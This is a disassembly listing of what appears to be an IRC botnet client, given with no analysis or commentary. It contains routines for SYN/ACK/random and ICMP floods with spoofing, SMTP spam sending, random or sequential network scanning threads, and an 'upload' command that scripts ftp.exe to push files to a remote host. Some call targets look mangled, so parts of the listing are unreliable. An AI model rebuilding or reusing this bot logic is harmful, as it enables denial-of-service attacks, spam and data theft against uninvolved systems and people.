push offset asc_42CDC0 ; " "
push offset dword_42B934
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
push esi
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_458C]
push eax
push offset unk_42AEFC
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE70
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset byte_4149C1
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
call near ptr 2680972h
nop
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE00
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADB8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset dword_413E10
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
call near ptr 2680972h
nop
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF4
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: ___:004330E0o
; ___:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC44
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset dword_413F9C
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
nop
call near ptr 2670E97h
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
nop
call near ptr 2680972h
push eax
push offset unk_42AC0C
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABA8
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_1 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB08
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA60
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call near ptr 2670E97h
nop
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
nop
call near ptr 2680972h
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40CA1D
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
nop
call near ptr 2680972h
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A968
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A910
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C92C
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
call near ptr 2680972h
nop
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset loc_410DAB
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
